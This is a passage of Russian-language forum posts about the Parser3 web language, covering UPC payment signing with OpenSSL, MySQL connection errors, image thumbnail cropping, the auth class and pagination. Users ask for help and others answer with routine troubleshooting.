"66417","Тех. поддержка прислала:\
[quote]/usr/lib64/mysql/libmysqlclient.so.15.0.0[/quote]\
А auto.p путь поправил.\
Вылетела ошибка:\
[quote]driver failed to initialize client library '/usr/lib64/mysql/libmysqlclient.so.15.0.0', /usr/lib64/mysql/libmysqlclient.so.15.0.0: wrong ELF class: ELFCLASS64[/quote]"
"66420","советую всем интересующимся данным вопросом ознакомится с принципами работы схемы.\
\
http://www.ecommerce.upc.ua/site/e-shop.html - тут общие принципы, http://www.ecommerce.upc.ua/site/docs.html - тут в четырех пдф-ках описано детальнее и более чем доступно.\
\
Просмотрел свой код, там все не так просто, и сразу можно и не понять. Короче вот ключевые моменты:\
\
[code]################################################\
@payByCreditCard[hParams][dPurchaseTime;sTotalAmount;sAltTotalAmount;sSD;sDataToSign]\
^use[OpenSSL.p]\
$oSSL[^OpenSSL::create[\
	$.sOpensslScript[/cgi-bin/openssl/openssl.exe]\
	$.sServerCert[/data/openssl/test-server.pub]\
	$.sUserCert[/data/openssl/1752144.pem]\
]]\
^if(def $hParams.orderID){\
	$sImage[^image[\
		$.src[$MEDIA_DIR/loading.gif]\
		$.border[0]\
		$.align[left]\
		$.hspace[15]\
	]]\
	^switch[$oSite.language.uri]{\
		^case[ru]{<h3>Устанавливается соединение с процессинговым центром</h3><br />$sImage Пожалуйста, подождите...}\
		^case[en]{<h3>Connecting to the processing center</h3><br />$sImage Please wait...}\
		^case[tr]{<h3>&#304;&#351;lem merkezine ba&#287;lan&#305;yor</h3><br />$sImage L&#252;tfen bekleyin...}\
	}\
	^try{\
		$tUPC[^table::load[/data/upc.cfg]]\
	}{\
		$exception.handled(1)\
		^Lib:location[/404/]\
	}\
	$dPurchaseTime[^dtf:format[%y%m%d%H%M%S]]\
	$sTotalAmount[^eval($hParams.totalAmount*100)]\
	$sAltTotalAmount[^eval($hParams.altTotalAmount*100)]\
	$sSD[]\
	$sDataToSign[$tUPC.MerchantID^;$tUPC.TerminalID^;$dPurchaseTime^;$hParams.orderID^;$tUPC.Currency,$tUPC.AltCurrency^;$sTotalAmount,$sAltTotalAmount^;$sSD^;]\
	<form name=\"UPCform\" method=\"post\" action=\"https://secure.upc.ua/ecgtest/enter\">\
	<input type=\"hidden\" name=\"Version\" value=\"1\" />\
	<input type=\"hidden\" name=\"MerchantID\" value=\"$tUPC.MerchantID\" />\
	<input type=\"hidden\" name=\"locale\" value=\"^switch[$oSite.language.uri]{^case[ru]{ru}^case[en;tr]{en}}\" />\
	<input type=\"hidden\" name=\"TerminalID\" value=\"$tUPC.TerminalID\" />\
	<input type=\"hidden\" name=\"TotalAmount\" value=\"$sTotalAmount\" />\
	<input type=\"hidden\" name=\"Currency\" value=\"$tUPC.Currency\" />\
	<input type=\"hidden\" name=\"AltTotalAmount\" value=\"$sAltTotalAmount\" />\
	<input type=\"hidden\" name=\"AltCurrency\" value=\"$tUPC.AltCurrency\" />\
	<input type=\"hidden\" name=\"OrderID\" value=\"$hParams.orderID\" />\
	<input type=\"hidden\" name=\"PurchaseTime\" value=\"$dPurchaseTime\" />\
	<input type=\"hidden\" name=\"PurchaseDesc\" value=\"$hParams.sPurchaseDesc\" />\
	<input type=\"hidden\" name=\"Signature\" value=\"^oSSL.sign[$sDataToSign]\" />\
	<script language=\"javascript\">\
	<!--\
		document.UPCform.submit()^;\
	// -->\
	</script>\
	<noscript>\
		<input type=\"submit\" value=\"^Say:next[]\" />\
	</noscript>\
	</form>\
}{\
	^Lib:location[/404/]\
}\
# end of @payByCreditCard[][/code]\
\
дальше идет класс операций\
\
[code]@CLASS\
OpenSSL\
\
################################################\
@create[hParams]\
$OPENSSL_SCRIPT[$hParams.sOpensslScript]\
$SERVER_CERT[${env:DOCUMENT_ROOT}$hParams.sServerCert]\
$USER_CERT[${env:DOCUMENT_ROOT}$hParams.sUserCert]\
$DATA_DIR[${env:DOCUMENT_ROOT}/data/temp]\
# end of @create[]\
\
################################################\
@sign[sData][sDataName;fResult;fSign]\
$sDataName[^math:uuid[]]\
$sSignName[^math:uuid[]]\
^sData.save[$DATA_DIR/$sDataName]\
$fResult[^file::exec[$OPENSSL_SCRIPT dgst -sha1 -out $DATA_DIR/$sSignName -sign $USER_CERT $DATA_DIR/$sDataName]]\
$fSign[^file::load[binary;$DATA_DIR/$sSignName]]\
$result[^fSign.base64[]]\
^if(-f \"$DATA_DIR/$sDataName\"){\
	^file:delete[$DATA_DIR/$sDataName]\
}\
^if(-f \"$DATA_DIR/$sSignName\"){\
	^file:delete[$DATA_DIR/$sSignName]\
}\
# end of @sign[]\
\
################################################\
@signed[hParams][sDataName;sSignName;fResult;fSignature]\
$result(0)\
^if(def $hParams.data && def $hParams.signature){\
	$sDataName[^math:uuid[]]\
	$sSignName[^math:uuid[]]\
	$fSignature[^file::base64[$hParams.signature]]\
	^hParams.data.save[$DATA_DIR/$sDataName]\
	^fSignature.save[binary;$DATA_DIR/$sSignName]\
	$fResult[^file::exec[$OPENSSL_SCRIPT dgst -sha1 -verify $SERVER_CERT -signature $DATA_DIR/$sSignName $DATA_DIR/$sDataName]]\
	^if(^fResult.text.match[Verified OK]){\
		$result(1)\
	}\
	^if(-f \"$DATA_DIR/$sDataName\"){\
		^file:delete[$DATA_DIR/$sDataName]\
	}\
	^if(-f \"$DATA_DIR/$sSignName\"){\
		^file:delete[$DATA_DIR/$sSignName]\
	}\
}\
# end of @signed[]\
\
################################################\
@selfSigned[hParams][sDataName;sSignName;fResult;fSignature]\
$result(0)\
$sDataName[^math:uuid[]]\
$sSignName[^math:uuid[]]\
$fSignature[^file::base64[$hParams.signature]]\
^hParams.data.save[$DATA_DIR/$sDataName]\
^fSignature.save[binary;$DATA_DIR/$sSignName]\
$fResult[^file::exec[$OPENSSL_SCRIPT dgst -sha1 -prverify $USER_CERT -signature $DATA_DIR/$sSignName $DATA_DIR/$sDataName]]\
^if(^fResult.text.match[Verified OK]){\
	$result(1)\
}\
^if(-f \"$DATA_DIR/$sDataName\"){\
	^file:delete[$DATA_DIR/$sDataName]\
}\
^if(-f \"$DATA_DIR/$sSignName\"){\
	^file:delete[$DATA_DIR/$sSignName]\
}\
# end of @selfSigned[][/code]\
\
для работы моей системы нужен OpenSSL последней версии, ну и пара сертификатов - свой для подписывания отправляемых данных, и второй - сертификат процессингового центра. Им мы проверяем подпись пришедших данных."
"66422","http://www.parser.ru/forum/?terms=ELFCLASS64&author=&doSearch=%CD%E0%E9%F2%E8"
"66423","Приветствую.\
Не могу понять откуда берется ошибка и как от неё избавиться.\
\
При попытке сменить пароль администратора на странице _auth_info.html выдается ошибка:\
\
[code]... /classes/Sql.p(56:10): 'mysql://****@localhost/testdb?charset=windows-1251' Unknown character set: 'windows' [sql.connect] [uri=/classes/_auth_setpwd.html, method=POST, cl=55][/code]\
\
Не могу разобраться. Поиск не помог.\
\
В auto.p [code]$connect_string[mysql://****:testpass@localhost/testdb] [/code]\
Класс авторизации устанавливал по четко инструкции.\
\
Помогите новичку разобраться, пожалуйста."
"66424","если у вас в конфигурационном auto.p написана указанная строка соединения, и _она-же_ (что для меня не стандартно, и в auto.p идёщем с классом авторизации написано другое) передаётся sql классу для созднания объекта -- ищите кто у вас её модифицирует (причем не корректно, т.к.  mysql ничего не знает про кодировку 'windows-1251')"
"66425","ОК. Раз класс авторизации не модифицирует строку соединения, то пошел я копать в другом месте. Есть сомнения по поводу серверных настроек...\
\
Большое спасибо за оперативный ответ."
"66428","Сегодня Мастерхост обновил ОС на площадке (до FreeBSD6.3) и Parser перестал функционировать. Существует ли решение?"
"66429","более того многие решения описаны. \
\
а что именно вы уже успели предпринять самостоятельно?"
"66431","Есть большое изображение, нужно сделать превью.\
Но превью должно быть строгого размера (200x150px).\
То есть независимо от исходной фотографии (вертикальное или горизонтальное) выделить из него превью (даже с потерей некоторых областей).\
\
Если кто оперативно решит мою проблему, то отсылаю ему 100 yandex.денег на пиво :)"
"66432","nconvert вам в руки. написать скрипт - работы на пол часа."
"66433","я и хочу использовать nconvert, но не могу решить математику"
"66434","какая математика? нконверт может кропать рисунок по заданым параметрам. уменьшаете рисунок по меньшей стороне до вашего минимума, а большую сторону кропаете - этож элементарно."
"66435","Пересобрал Parser3.2.3 в ручную (с поддержкой XML).\
Теперь всё хорошо. \
\
parser.log был очищен, потому текст ошибки процетировать нет возможности. \
\
Всем спасибо!"
"66437","при попытке запустить парсера из консоли, получаю вот такую ошибку:\
\
[quote]'/storage/home/mysite/cgi-bin/p/auto.p' shared lock failed: Operation not supported (45), actual filename '/storage/home/mysite/cgi-bin/p/auto.p' [file.lock]index.html[/quote]\
\
без параметров парсер отдает обычный результат (автор, ключики и т.п.)\
\
В форуме никакого решения не нашел - [url=\"http://www.parser.ru/forum/?terms=%22shared+lock+failed%22&author=&doSearch=%CD%E0%E9%F2%E8\"]shared lock failed[/url], \
гугл тоже молчит... - [url=\"http://www.google.ru/search?aq=f&complete=1&hl=ru&newwindow=1&client=firefox-a&rls=org.mozilla%3Aru%3Aofficial&hs=I7H&q=%22shared+lock+failed%22&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=\"]shared lock failed[/url]\
\
куда рыть?\
\
OS: FreeBSD 6.2\
Parser: 3.2.3"
"66438","Подобная строка вызывает ошибку:\
[code]^str.match[[^;,]][g]{}[/code]\
Хотя вот такая работает:\
[code]^str.match[[,^;]][g]{}[/code]\
\
Механизм парсинга строк сбивается ибо думает что первая птичка это отрицание, хотя мы то с вами знаем что отрицание должно состоять из двух птичек, и если бы он понадобилось, то написали  бы так:\
[code]^str.match[[^^^;,]][g]{}[/code]\
\
P.S. Не критично конечно, но всеже..."
"66440","а прикинь рисунок пикселей эдак 5000х6000 - и что ты получишь в этих 200х150 пикселях? Вроде автору нужен превью, а не просто кроп в 200 пикселей."
"66441","Теперь нужно на parser крутануть\
\
[code]<?php\
	$pic = \"pic.jpg\";\
	$im  = imagecreatefromjpeg($pic);\
	$im1 = imagecreatetruecolor(200,150);\
\
	$newW = imagesx($im);\
	$newH = imagesy($im);\
	$quality = 80;\
\
	if($newH >= $newW){\
		$fromX = 0;\
		$fromY = floor(($newH-($newW*150/200))/2);\
		$fromW = $newW;\
		$fromH = floor($newW*150/200);\
	} else {\
		$fromX = floor(($newW-($newH*200/150))/2);\
		$fromY = 0;\
		$fromW = floor($newH*200/150);\
		$fromH = $newH;\
	}\
\
	imagecopyresampled($im1,$im,0,0,$fromX,$fromY,200,150,$fromW,$fromH);\
	imagejpeg($im1,\"1.jpg\",$quality);\
\
	imagedestroy($im);\
	imagedestroy($im1);	\
?>[/code]"
"66442","Обнаружил что при вызове cgi-скрипта из парсера ему по умолчанию передаются параметры из QUERY_STRING\
\
парсерный скрипт:\
[code]\
$f[^file::cgi[../../cgi-bin/test.pl]]\
<pre>$f.text</pre>\
[/code]\
\
перловый скрипт:\
[code]\
#!/usr/bin/perl -w\
\
use strict;\
use CGI qw(:standard);\
\
my $fcgi = param(\"filename\");\
\
print \"Content-Type: text/plain\\n\\n\";\
print \"fcgi = $fcgi\\n\";\
[/code]\
\
вызываем парсерный скрипт /?filename=myfile\
получаем fcgi = myfile\
\
т.е. получается что можно писать не так:\
[code]$search[^file::cgi[search.cgi;$.QUERY_STRING[q=$form:q&p=$form:p]]][/code]\
а вот так:\
[code]$search[^file::cgi[search.cgi]][/code]\
все равно внутри search.cgi будут доступны q и p...\
\
интересно, будут ли параметры из QUERY_STRING в этом случае обработаны парсером (taint)?\
и почему в доке про это не написано? ;)"
"66443","[code]$str[123^;456,789]\
^str.match[[^;,]][g]{}\
^str.match[[,^;]][g]{}\
[/code]\
\
=>\
123456789\
123456789\
\
P.S. Parser 3.2.1, 3.2.2, 3.2.3 for Win32"
"66444","вычленил в отдельный пример, тоже работает... хотя..."
"66445","http сервер перед запуском cgi устанавливает переменные окружения, через которые согласно стандарту и происходит их общение.\
\
ваш код перед вызовом скрипта _может_ добавить свои переменные окружения и/или изменить стандартные. если стандартные не меняются -- они остаются теми, что были выставлены http сервером.\
\
в чем по вашему мнению нелогичность? в том, что это явно не прописано в документации?"
"66446","[quot]\
хотя...\
[/quot]\
\
\
этого не может быть, потому что этого не может быть никогда ;)\
преобразование '^;' в ';' происходит на этапе компиляции кода.\
\
компиляция регулярного выражения -- на этапе выполнения (после компиляции).\
\
на этапе выполнения символа '^' там при подобном раскладе просто уже не может быть.\
\
\
хотя если регулярное выражение приходит из внешнего файла (и без процессинга), то одинарная птичка там останется, и будет воспринята pcre-процессором будет именно как отрицание. но если оно приходит из внешнего файла то очевидно, что птичка тут вообще лищняя, т.к. эскейпить символ ';' в данном случае не нужно."
"66447","попробуйте запустить парсер из консоли подключившись пользователем, из-под которого парсер запускается как cgi приложение."
"66448","А не проще тогда сделать:\
1. resize по меньшей стороне\
2. crop по большей\
\
В комендной строке для nconvert это примерно так:\
-resize 0 150 -canvas 200 0 center (если высота < ширины)\
-resize 150 0 -canvas 0 200 center (если высота > ширины)\
\
Как измерить стороны картинки надеюсь писать не надо?"
"66450","[quote]Подобная строка вызывает ошибку[/quote]\
\
что за ошибка происходит-то?\
может текст ошибки прольёт свет на проблему?"
"66451","'match' method of string (string) accepts maximum 3 parameter(s)"
"66452","дык это означает что там написана именно ';' без префикса, причём придти такая точка с запятой из внешнего файла не может."
"66453","У меня есть модуль фотогалереи со следующими возможностями:\
1.) закачка картинки\
2.) автоматически создаётся превью (вписывается в четырёхугольник WxH)\
3.) Позволяет кадрировать изображение, выделяя необходимую область (JavaScript'ом).\
4.) иногда приятные мелочи: перевернуть влево, вправо (на 90 градусов), удаление мета-информации\
5.) дата публикации, текст alt, заголовок (всё в БД лежит)\
Дизайн отстойный, но всё работает =)"
"66454","[quot]в чем по вашему мнению нелогичность? в том, что это явно не прописано в документации?[/quot]\
все логично, но неочевидно... не сразу дошло )"
"66458","Вобщем все работает все ништяк за исключением одной проблемы\
скроллер работает только до первой таблицы. дальше не хочет. все дело в том что  я из базы вытаскиваю количество анекдотом тип которых определяется по нажатию на  имя раздела анека.\
\
например вот таблица \
id name type \
1  про вовочку  1\
2  про чукчу    2\
\
request:query имеет то значение которое соответсвует разделу. и берется из адреса. но когда я нажимаю на след страницу. адрес меняется и не выводится продолжение анекдотов с выбранным типом ранее. как быть ?\
\
\
\
[code]# создаем таблицу с разделами по анекдотам\
@type_anecdot_table[]\
^connect[$SQL.connect-string]{\
$sys_sp[^table::sql{select idd, name from sys_sp where a_type=1 order by name ASC}]\
$anecdot[^table::sql{select * from anecdot where type='$request:query' ORDER by date desc}]\
}\
<table width=80%>\
<tr>\
\
      ^sys_sp.menu{\
<td bgcolor=ffffff>\
<a href=\"/anecdot/?$sys_sp.idd\"><li>\
		$sys_sp.name \
<a>\
</td>\
^if(^sys_sp.line[]%4 == 0){</tr>}\
}\
</table>\
<br>\
#########################\
#### вывод анекдотов ####\
@anecdot_title[]\
<h4>Категория анекдотов</h4>\
<div class=\"posted\" height:1000px>\
#выводим таблицу типов анекдотов\
^type_anecdot_table[]\
\
#определяем количество анекдотов в таблице\
$anecdotCount[^anecdot.count[]]\
\
# Выводим по два анека на страницу\
$iItemsPerPage(2)\
$oPage[^scroller::init[$anecdotCount;$iItemsPerPage;]]\
\
^oPage.print[\
    $.target_url[/anecdot/index.html]\
    $.nav_count(2)\
    $.mode[html]\
    $.tag_name[]\
]\
\
^connect[$SQL.connect-string]{$tAnecdot[^table::sql{select * from anecdot where type='$request:query'}[$.offset($oPage.offset)\
    $.limit($oPage.limit)]]<ul>^tAnecdot.menu{\
    <li><b>$tAnecdot.date</b>\
#    <br /><a href=\"/anecdot/?idd=$tNews.idd\">$tAnecdot.body</a></li>\
    <br />$tAnecdot.body</li>\
}\
</ul>\
}\
</div>[/code]"
"66460","Нельзя ли сделать возможность компиляции parser3 со статично прилинкованным драйвером sql (конкретно нужен mysql, но другие тоже не помешают)? Хочется скомпилировать статиком бинарник вместе со всем необходимым (включая libc/libm/libcrypt), отдать его клиентам и забыть про этот парсер как про страшный сон."
"66462","Делая нетипичную для веба задачу, имитировал загрузку (вычислительную процедуру) следующим кодом:\
[code]^for[j](1;200){ \
#^memory:compact[]\
^for[i](1;10000){ \
^rem{x empty z}\
}\
}\
^eval($i*$j)[/code]\
\
Обнаружил, что процесс parser отъедает себе в этом случае 740326КБ памяти и зависает (наблюдаю в Диспетчере задач, нагрузка с процессора спадает).\
Если комментарий заменить на какой нибудь [code]$count[$i][/code] , то parser съест 595180КБ и зависнет. Цифры меняются в зависимости от кода внутри цикла.\
Использование [code]^memory:compact[][/code] ситуацию с одной стороны спасает (скорость потребления памяти уменьшается), с другой стороны усложняет (конечной цифры получить не мог. т.к. при моих физических 2ГБ parser смог съесть 1,5ГБ и продолжал кушать - пришлось убить).\
Добавление [code]^memory:compact[][/code] во второй цикл снимает вопрос утечки памяти. Но странно что это происходит с пустым циклом.\
\
На форуме нашёл такое обсуждение  \
[url=\"http://www.parser.ru/forum/?id=29159\"]http://www.parser.ru/forum/?id=29159[/url] , но ясности это мне не добавило.\
Как можно управлять таким поведением parser?\
Наверное в апаче есть настройка сколько памяти отводится процессу, но я её не нашёл.\
И странно что зависание происходит с разными объемами памяти, и зависит от кода внутри цикла - значит какие то ограничения в парсере.\
Видимо циклы это не парсеровкое :) раз на пустом цикле без сборки мусора не обойтись."
"66463","Выдает ошибку 500.\
\
Из лога:\
[quote]Premature end of script headers: /home/myanapa/therabbit2.com/cgi/parser3.cgi\
/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table[/quote]\
\
Что это может быть, помогите пожалуйста.\
\
Parser 3.2.3, FreeBSD 6"
"66466","или вам в вашем коде потребовалось создать 2 милиона объектов (перевод строки -- это символ, и вы их печатаете, кстати rem -- тоже объект, имеющий размер). даже если предположить что 1 объект == 1 байт (а это совсем не так, объект у парсера занимает больше памяти, так как объект-строка хранит, например, и \"язык\" да и служебную информацию), то это уже ~2МБ.\
\
вы сами выводите эти 2 МБ в броузер. compact тут вообще не при делах и не поможет (вы наблюдаете некоторое \"улучшение\" при его использовании из-за того, что он собирает память от неиспользуемых более значение переменных $i и $j, однако compact требует времени, и немало, поэтому и его использовать надо грамотно).\
\
по поводу зависания: если бы вы пускали его не из броузера, а из консоли, он не зависал бы (но памяти бы при подобном коде отожрал бы немало, да)."
"66467","Файлы брал с данного сайта."
"66469","Я хотел сымитировал некий вычислительный процесс (собственно говоря не столько нагрузку на процессор или память, как просто задержку по времени). Конечно мне не нужно было 2 миллиона объектов. Ох уж эти white space - я про них всё время забываю :) Действительно если убрать полностью код из цикла, то (объекты не создаются) и весь код выполняется буквально моментально. Хотя из чистого любопытства возникает вопрос зачем на комментарий создавать объект. Обычно для комментария я использую # вначале строки. Думаю в этом случае строка будет полностью проигнорирована.\
Спасибо за ваш ответ. Да, вопрос у меня скорее был академический.\
\
p.s. тем не менее можно ли каким либо образом в WinXP+Apache+parser проконтролировать объём выделяемой памяти?"
"66473","Скачал, настроил, создал базы данных.\
_auth_setpwd.html - работает, пароли меняет.\
_auth_info.html - работает, логинится.\
_auth_forgot.html - после сабмита формы: При создании нового пароля возникли следующие проблемы: unknown.\
_auth_profile.html - после сабмита формы не зависимо от того, какие вводятся логин и пароль: При создании нового пароля возникли следующие проблемы: unknown. Пользователь не добавляется в БД.\
\
Работаю на с пакетом Denwer.\
\
Как, где найти причину?\
Или, может уже кто-нибудь нашел?\
Хочется разобраться с классом авторизации."
"66475","Мои познания тут почти нулевые. Хостер выдает логин пароль, под которыми в консоли и работаю, под каким пользователем работают cgi-не имею понятия. Можно конечно спросить у хостинга, но боюсь ответ будет в виде \"идите лесом\" :)"
"66476","Кто-нибудь может написать пошагово, как делается подключение к серверу бд и выборка хотя бы одной записи?\
Из примеров класса auth.p не могу понять, где и каким образом происходит непосредственно выборка данных."
"66477","Для MySQL:\
[code]\
^use[MySql.p]\
$oSQL[^MySql::create[тут_ваша_строка_подключения]]\
[/code]\
\
Выборка:\
[code]\
$tUser[^oSQL.table{\
	SELECT id, name\
	FROM user\
	WHERE id = 1\
}]\
\
ID: $tUser.id\
Name: $tUser.name\
[/code]\
\
Для работы класса авторизации нужно передать ему созданный объект.\
Вы пишите, что пароли меняются и пользователь логинится, значит доступ к БД есть.\
\
Приведите свой код.\
Каким образом вы создаёте объект класса авторизации?"
"66478","За разъяснения спасибо.\
\
По поводу смены паролей: меняется только пароль администратора. \
Изменить логин или зарегистрировать другого пользователя невозможно - неизвестная ошибка.\
Код не менял - пытаюсь разобраться с классом auth.p. Соответственно, все файлы - примеры идущие с auth.p"
"66479","table\
undefined method\
[quote]$tUser[^oSQL.table{\
	SELECT id, name\
	FROM user\
	WHERE id = 1\
}]\
[/quote]\
\
table\
undefined method\
\
P.S.\
Чувствую себя просто дауном каким-то :("
"66480","по крайней мере там документации и примеров хватает по всем вопросам и большинству библиотек :("
"66481","нет у объекта oSql метода table = значит объект или не создан или обращаетесь к нему не так.\
\
Если создаете объект oSql в методе MAIN, то логично обращаться к объекту так: ^MAIN:oSql.table{}"
"66482","Сейчас я пытаюсь сделать достаточно простую вещь:\
Если пользователь залогинен, выбирать из базы данных строку, в которой выводится его логин. \
файлы такие:\
index.html\
[code]@greeting[]\
Клиент\
\
@body_main[]\
^oSql.server{\
	^rem{ *** создаем объект класса auth *** }\
	$auth[^auth::init[$cookie:CLASS;$form:fields;$.csql[$oSql]]]\
\
	^if(def $form:[auth.logout] || (def $form:[auth.logon] && $auth.is_logon)){\
		^rem{ *** при logon/logout делаем external redirect на себя *** }\
		$response:location[http://${env:SERVER_NAME}^request:uri.match[\\?.*][]{}?^math:random(100)]\
	}\
	\
	^rem{ *** устанавливаем антикеширующие заголовки *** }\
	^auth.setExpireHeaders[]\
	\
	^if(!$auth.is_logon){\
\
		^rem{ *** если пользователь не залогинен - выводим форму для логина *** }\
		^auth.htmlFormLogon[\
			$.target_url[./]\
		]\
		\
		^if(def $form:[auth.logon]){\
			<p>Забыли пароль?<br />Воспользуйтесь <a href=\"/_auth_forgot.html\">данной формой</a> для того чтобы установить себе новый пароль.</p>\
		}\
	}\
\
	^if($auth.is_logon){\
		^rem{ *** информация о пользователе *** }\
		<p>\
			<b>Информация о пользователе:</b><br />\
			Логин: $auth.user.name<br />\
			Email: $auth.user.email<br />\
			Состоит в группах: ^auth.user.groups.menu{$auth.user.groups.name}[, ]<br />\
			Дата регистрации: $auth.user.dt_register<br />\
			Дата последнего логина: $auth.user.dt_logon\
		</p>\
	}{\
		<p>Последний раз подключался пользователь: $auth.last_name</p>\
	}\
	\
	^rem{ *** выводим форму для логаута. если пользователь не залогинен форма показана не будет *** }\
	^auth.htmlFormLogout[$.target_url[./]]\
}\
#свиснуто из файла _auth_profile.html\
\
$client[^cl::load[]] #мой класс\
[/code]\
auto.p\
[code]\
@USE\
/class/Erusage.p\
/class/MySqlComp.p\
/class/auth.p\
/class/cl.p\
\
\
\
###########################################################################\
@auto[]\
$SQL.connect-string[mysql://p3test@localhost/p3test]\
$oSql[^MySqlComp::create[$SQL.connect-string;\
	$.bDebug(true)\
	$.sCacheDir[$CACHE_DIR/_sql]\
]]\
#end @auto[]\
\
\
\
###########################################################################\
@postprocess[sBody][repl;tmp]\
$result[$sBody]\
\
#...your postprocess code here if needed...\
\
^getSQLStat[$oSql]\
^rusage[]\
#end @postprocess[]\
\
\
\
###########################################################################\
# log SQL statistics to file\
@getSQLStat[oSql][oSqlLog]\
^if(def $oSql && !in \"/admin/\"){\
	^use[/class/SqlLog.p]\
	$oSqlLog[^SqlLog::create[$oSql]]\
	^oSqlLog.log[\
		$.iQueryTimeLimit(500)\
		$.iQueriesLimit(25)\
		$.iQueryRowsLimit(3000)\
		^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
			^rem{ *** for ?mode=debug collect all queries info and store it to separate file *** }\
			$.sFile[$DATA_DIR/sql.txt]\
			$.bAll(1)\
		}{\
			^rem{ *** by default we log only pages with potential problems *** }\
			$.sFile[$DATA_DIR/sql.log]\
		}\
	]\
}\
$result[]\
#end @getSQLStat[]\
\
\
\
\
###########################################################################\
@rusage[sMessage]\
^if(!in \"/admin/\"){\
	^Erusage:log[\
		$.sFile[$DATA_DIR/rusage.log]\
		$.sMessage[$sMessage]\
	]\
}\
$result[]\
#end @rusage[]\
[/code]\
\
cl.p\
[code]\
@CLASS\
cl\
\
@load[] \
^use[/class/MySql.p]\
$tUser[^oSQL.table{\
SELECT id, name\
FROM user\
WHERE name LIKE 'admin'\
}]\
\
@show[]\
ID: $tUser.id\
Name: $tUser.name\
[/code]"
"66483","Что выдаёт следующая конструкция:\
[code]^throw[debug;$oSql.CLASS_NAME][/code]\
?\
\
Что происходит при вызове:\
[code]\
$tUser[^oSql.table{\
SELECT id, name\
FROM auser\
WHERE name LIKE 'admin'\
}]\
[/code]\
?\
\
[color=\"#cccccc\"] P.S. Сокрушаться и пугать вернуться в PHP не стоит — никто не оценит и удерживать в слезах не кинется, поверьте.[/color]"
"66484","выдает \"MySqlComp\"\
\
При вызове ошибка случается:\
table\
undefined method\
\
Работает только если прописать это:\
[code]^use[/class/MySql.p]\
$oSql[^MySqlComp::create[mysql://p3test@localhost/p3test]][/code]\
Но это ведь не правильно: если название базы изменится - придется менять класс, да и в auto.p ведь прописана строка подключения. \
\
[color=\"#cccccc\"]в ответ на P.S.\
Оно и понятно, что никто не кинется. Но если нужно популяризовать парсер, то одними просьбами разместить кнопки не обойдешься. Нужно, чтобы человек пришел, прочел и сразу все понял. Лично у меня после прочтения документации на сайте шаг влево-вправо от примеров вызывает кучу вопросов. [/color]"
"66485","Создавать объект для конкретной базы данных должен пользователь. Как это делать решать только Вам - можете создать вручную (как раз этот код Вы и привели) или написать простенький \"фабричный метод\", который проанализирует строку подключения и создаст объект нужного класса. Клас авторизации об этом заботится не должен - ему нужно получить от вас объект с заданным интерфейсом."
"66486","[quote]Работает только если прописать это: \
^use[/class/MySql.p]\
$oSql[^MySqlComp::create[mysql://p3test@localhost/p3test]]\
[/quote]\
\
То есть, если прописать строку подключения руками — работает, а если вызывать из переменной — нет, так?\
Вы уверены, что переменную со строкой подключения никто не изменяет?\
Добавьте перед\
$oSql[^MySqlComp::create[mysql://p3test@localhost/p3test]]\
следующее: ^throw[debug;$SQL.connect-string]\
Выдаст ли оно «mysql://p3test@localhost/p3test»?\
\
[quote]Но это ведь не правильно: если название базы изменится - придется менять класс, да и в auto.p ведь прописана строка подключения.[/quote]\
\
Не понимаю как связан класс и название базы.\
Объект для работы с базой у вас создаётся в auto.p, он доступен глобально.\
Какую строку подключения в момент создания передадите с той базой объект и будет работать.\
\
[quote][color=\"#cccccc\"]Но если нужно популяризовать парсер, то одними просьбами разместить кнопки не обойдешься. Нужно, чтобы человек пришел, прочел и сразу все понял. Лично у меня после прочтения документации на сайте шаг влево-вправо от примеров вызывает кучу вопросов.[/color][/quote]\
\
[color=\"#cccccc\"]\
Задачи популяризации не стоит.\
Денег с аудитории никто не зарабатывает.\
Так чтобы «человек пришел, прочел и сразу все понял» — не бывает.\
\
То, что у вас возникают вопросы — это нормально.\
Вы прошли все уроки?\
[/color]"
"66487","Мне приходится прописывать \
[code]\
$oSql[^MySqlComp::create[mysql://p3test@localhost/p3test]][/code]\
в конструкторе класса в файле cl.p, чтобы можно было выбрать из базы данных хоть что-нибудь."
"66488","cl.p \
\
[code]\
@CLASS\
cl\
\
@load[] \
$tUser[^MAIN:oSql.table{\
SELECT id, name\
FROM user\
WHERE name LIKE 'admin'\
}]\
\
@show[]\
ID: $tUser.id\
Name: $tUser.name\
[/code]"
"66489","Все тот же:\
table\
undefined method"
"66491","Создаём test.html, где пишем:\
[code]\
@USE\
/class/MySqlComp.p\
/class/cl.p\
\
@auto[]\
$SQL.connect-string[mysql://p3test@localhost/p3test]\
$oSql[^MySqlComp::create[$SQL.connect-string][\
	$.bDebug(true)\
]]\
\
@main[]\
^use[cl.p]\
$oCl[^cl::load[]]\
^oCl.show[]\
[/code]\
\
cl.p:\
[code]\
@CLASS\
cl\
\
@load[] \
$tUser[^MAIN:oSql.table{\
SELECT auser_id, name\
FROM auser\
WHERE name LIKE 'admin'\
}]\
\
@show[]\
ID: $tUser.auser_id\
Name: $tUser.name\
[/code]\
\
Работает?"
"66492","работает.\
Вобщем-то, достаточно было бы именно этого примера. Теперь и все остальное заработало. Спасибо)"
"66493","Упало в void VForm::ParseMimeInput(char *content_type, const char*  data, size_t length)\
\
файл pa_vform.C в 177 строчке.\
\
Кажется getAttributeValue(content_type, \"boundary=\", strlen(content_type)) вернул недействительный указатель (не нашли такого атрибута) который ты далее пытаешься разыменовать в pa_tolower."
"66494","да правильно, только как его в связке использовать ?"
"66495","[code]\
$sourceDoc[\
	^xdoc::load[index.xml]\
	] \
\
$transformedDoc[\
	^sourceDoc.transform[index.xsl]\
	] \
\
^transformedDoc.string[ \
	$.method[html]\
	]\
[/code]\
\
Вопрос: как сделать так, что бы код парсера, вставленный в index.xml, обрабатывался? Там специальный код выборки данных из БД.\
\
Вариант с полным URL-ом не подходит, хоть и работает:\
\
[code]\
$sourceDoc[\
	^xdoc::load[http://server/index.xml]\
	]\
[/code]\
\
Может, у меня руки не оттуда растут, но ^process[] не работает."
"66496","[code]\
# Тип по-умолчанию, если из формы пришла бяка\
$iTypeID(^request.query.int(1))\
\
# Количество анекдотов в базе\
$iCount(^int::sql{\
	SELECT\
		COUNT( * )\
	FROM\
		anectod\
	WHERE\
		type = $iTypeID\
})\
\
# Элементов на странице\
$iItemsPerPage(2)\
\
# Скроллер\
$oScroller[^scroller::init[$iCount;$iItemsPerPage]]\
\
# Выбираем только нужные анекдоты\
$tAnecdot[^table::sql{\
	SELECT\
		*\
	FROM\
		anecdot\
	WHERE\
		type = $iTypeID\
